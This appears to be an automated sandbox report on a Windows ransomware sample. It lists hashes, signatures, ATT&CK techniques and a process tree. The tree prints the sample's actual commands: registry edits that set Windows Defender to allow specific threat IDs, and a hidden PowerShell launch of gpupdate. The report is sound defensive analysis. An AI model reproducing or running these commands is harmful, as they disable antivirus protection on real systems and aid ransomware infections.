538e6f897d7e83021ee8271a1659cc2f0113fdcbd6597d59e36fe8ac7485c091

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
09/06/2024, 07:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-06-09_b4ef95e882fde8174e2c403933235f37_bkransomware.exe
Size

6.7MB
MD5

b4ef95e882fde8174e2c403933235f37
SHA1

f12c45141684417134f4f233bfb988653a78ed68
SHA256

538e6f897d7e83021ee8271a1659cc2f0113fdcbd6597d59e36fe8ac7485c091
SHA512

dfd270d9b2ac20a35c049352c2d1c40c99893b64a756c26ec5b7a09ed51786bb010a2d79d00383d34ddb341104c6fd6d59200d395fdfb7f140321823c9d78883
SSDEEP

196608:1tyMQAka4Qfhc6c940VL+45G0XlR8UZmr0rJqxXM:DyMQGfxci0Es8UZmrKJwc

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2748	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2068	2284	WerFault.exe	27

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2748	powershell.exe
2748	powershell.exe
2748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 2620	2284	2024-06-09_b4ef95e882fde8174e2c403933235f37_bkransomware.exe	28
PID 2284 wrote to memory of 2620	2284	2024-06-09_b4ef95e882fde8174e2c403933235f37_bkransomware.exe	28
PID 2284 wrote to memory of 2620	2284	2024-06-09_b4ef95e882fde8174e2c403933235f37_bkransomware.exe	28
PID 2284 wrote to memory of 2620	2284	2024-06-09_b4ef95e882fde8174e2c403933235f37_bkransomware.exe	28
PID 2620 wrote to memory of 2304	2620	cmd.exe	30
PID 2620 wrote to memory of 2304	2620	cmd.exe	30
PID 2620 wrote to memory of 2304	2620	cmd.exe	30
PID 2620 wrote to memory of 2304	2620	cmd.exe	30
PID 2304 wrote to memory of 3068	2304	forfiles.exe	31
PID 2304 wrote to memory of 3068	2304	forfiles.exe	31
PID 2304 wrote to memory of 3068	2304	forfiles.exe	31
PID 2304 wrote to memory of 3068	2304	forfiles.exe	31
PID 3068 wrote to memory of 3040	3068	cmd.exe	32
PID 3068 wrote to memory of 3040	3068	cmd.exe	32
PID 3068 wrote to memory of 3040	3068	cmd.exe	32
PID 3068 wrote to memory of 3040	3068	cmd.exe	32
PID 2620 wrote to memory of 2576	2620	cmd.exe	33
PID 2620 wrote to memory of 2576	2620	cmd.exe	33
PID 2620 wrote to memory of 2576	2620	cmd.exe	33
PID 2620 wrote to memory of 2576	2620	cmd.exe	33
PID 2576 wrote to memory of 2564	2576	forfiles.exe	34
PID 2576 wrote to memory of 2564	2576	forfiles.exe	34
PID 2576 wrote to memory of 2564	2576	forfiles.exe	34
PID 2576 wrote to memory of 2564	2576	forfiles.exe	34
PID 2564 wrote to memory of 2632	2564	cmd.exe	35
PID 2564 wrote to memory of 2632	2564	cmd.exe	35
PID 2564 wrote to memory of 2632	2564	cmd.exe	35
PID 2564 wrote to memory of 2632	2564	cmd.exe	35
PID 2620 wrote to memory of 2648	2620	cmd.exe	36
PID 2620 wrote to memory of 2648	2620	cmd.exe	36
PID 2620 wrote to memory of 2648	2620	cmd.exe	36
PID 2620 wrote to memory of 2648	2620	cmd.exe	36
PID 2648 wrote to memory of 2652	2648	forfiles.exe	37
PID 2648 wrote to memory of 2652	2648	forfiles.exe	37
PID 2648 wrote to memory of 2652	2648	forfiles.exe	37
PID 2648 wrote to memory of 2652	2648	forfiles.exe	37
PID 2652 wrote to memory of 2660	2652	cmd.exe	38
PID 2652 wrote to memory of 2660	2652	cmd.exe	38
PID 2652 wrote to memory of 2660	2652	cmd.exe	38
PID 2652 wrote to memory of 2660	2652	cmd.exe	38
PID 2620 wrote to memory of 2668	2620	cmd.exe	39
PID 2620 wrote to memory of 2668	2620	cmd.exe	39
PID 2620 wrote to memory of 2668	2620	cmd.exe	39
PID 2620 wrote to memory of 2668	2620	cmd.exe	39
PID 2668 wrote to memory of 2636	2668	forfiles.exe	40
PID 2668 wrote to memory of 2636	2668	forfiles.exe	40
PID 2668 wrote to memory of 2636	2668	forfiles.exe	40
PID 2668 wrote to memory of 2636	2668	forfiles.exe	40
PID 2636 wrote to memory of 2540	2636	cmd.exe	41
PID 2636 wrote to memory of 2540	2636	cmd.exe	41
PID 2636 wrote to memory of 2540	2636	cmd.exe	41
PID 2636 wrote to memory of 2540	2636	cmd.exe	41
PID 2620 wrote to memory of 2316	2620	cmd.exe	42
PID 2620 wrote to memory of 2316	2620	cmd.exe	42
PID 2620 wrote to memory of 2316	2620	cmd.exe	42
PID 2620 wrote to memory of 2316	2620	cmd.exe	42
PID 2316 wrote to memory of 2560	2316	forfiles.exe	43
PID 2316 wrote to memory of 2560	2316	forfiles.exe	43
PID 2316 wrote to memory of 2560	2316	forfiles.exe	43
PID 2316 wrote to memory of 2560	2316	forfiles.exe	43
PID 2560 wrote to memory of 2748	2560	cmd.exe	44
PID 2560 wrote to memory of 2748	2560	cmd.exe	44
PID 2560 wrote to memory of 2748	2560	cmd.exe	44
PID 2560 wrote to memory of 2748	2560	cmd.exe	44

C:\Users\Admin\AppData\Local\Temp\2024-06-09_b4ef95e882fde8174e2c403933235f37_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-06-09_b4ef95e882fde8174e2c403933235f37_bkransomware.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3068
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3040
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2564
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2632
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2652
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2660
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2636
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2540
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2316
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2560
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2748
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:2752
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 616
  2⤵
  - Program crash
  PID:2068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2284-2-0x0000000010000000-0x000000001328F000-memory.dmp

Filesize
50.6MB

Download